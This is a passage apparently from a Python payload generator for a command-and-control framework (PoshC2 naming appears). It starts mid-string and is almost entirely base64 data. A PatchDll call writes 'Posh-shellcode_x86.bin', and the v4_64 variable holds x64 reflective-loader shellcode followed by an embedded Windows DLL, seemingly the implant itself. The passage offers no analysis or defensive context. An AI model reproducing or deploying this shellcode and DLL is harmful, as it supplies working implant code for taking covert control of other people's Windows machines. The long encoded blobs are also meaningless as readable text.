MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQMNBQ0HDQkNCw0NDQ8NEQ0TDRUNFw0ZDRsNHQ0fDSENIw0lDScNKQ0rDS0NLw0xDTMNNg+4D7oPvA++D4APwg/ED8YPyA/KD8wPzg/QD9IP1A/WD9gP2g/cD94P4A/iD+QP5g/oD+oP7A/uD/AP8g/0D/YP+A/6D/wP/g/AAAAEAEAkAEAAAAwCDAQMBgwIDAoMDAwODBAMEgwUDBYMGAwaDBwMHgwgDCIMJAwmDCgMKgwsDC4MMAwyDDQMNgw4DDoMPAw+DAAMQgxEDEYMSAxKDEwMTgxQDFIMVAxWDFgMWgxcDF4MYAxiDGQMZgxoDGoMbAxuDHAMcgx0DHYMeAx6DHwMfgxADIIMhAyGDIgMigyMDI4MkAySDJQMlgyYDJoMnAyeDKAMogykDKYMqAyqDKwMrgywDLIMtAy2DLgMugy8DL4MgAzCDMQMxgzIDMoMzAzODNAM0gzUDNYM2AzaDNwM3gzgDOIM5AzmDOgM6gzsDO4M8AzyDPQM9gz4DPoM/Az+DMANAg0EDQYNCA0KDQwNDg0QDRINFA0WDRgNGg0cDR4NIA0iDSQNJg0oDSoNLA0uDTANMg00DTYNOA06DTwNPg0ADUINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DXaP94/4j/mPwAAACABAIwAAACMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6TDxQPFg8tDy4PMg8zDzUPOw8/DwAPRA9FD0cPTQ9RD1IPVg9XD1gPWg9gD2QPZQ9pD2oPaw9sD24PdA94D3kPfQ9+D38PQQ+HD4AMAEAyAAAAIwxmDG8Mdwx5DHsMfQx/DEEMhAyMDI4MkAySDJQMlgydDJ4MoAyiDKQMpgyrDLIMugyBDMIMyQzKDMwMzgzQDNEM0wzYDNoM3wzhDOMM5QzmDOcM6QzuDPUM9gz9DP4Mxg0IDQkNEA0SDRMNFw0gDSMNJQ0vDTANMg00DTYNNw05DT4NBg1ODVANUQ1YDWANZw1oDXANeA1ADYgNkA2YDaANqA2wDbgNgA3IDdAN0w3aDeIN6g3yDfoNwQ4CDgAAABAAQBIAAAAADCQNZg1yDXYNeg1+DUINiA2LDYwNjQ2UDZUNiA3JDcoNyw3MDc0Nzg3PDdAN0Q3UDdUN1g3XDdgN2Q3aDdsNwCQAQAUAAAAADocOjQ6UDpsOpQ6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOb25lXDA=" + self.PatchDll("%sPosh-shellcode_x86.bin" % name, v4_86, v4_86_offset, "Shellcode") + v4_64_offset = 0x00017750 + 8 + v4_64 = "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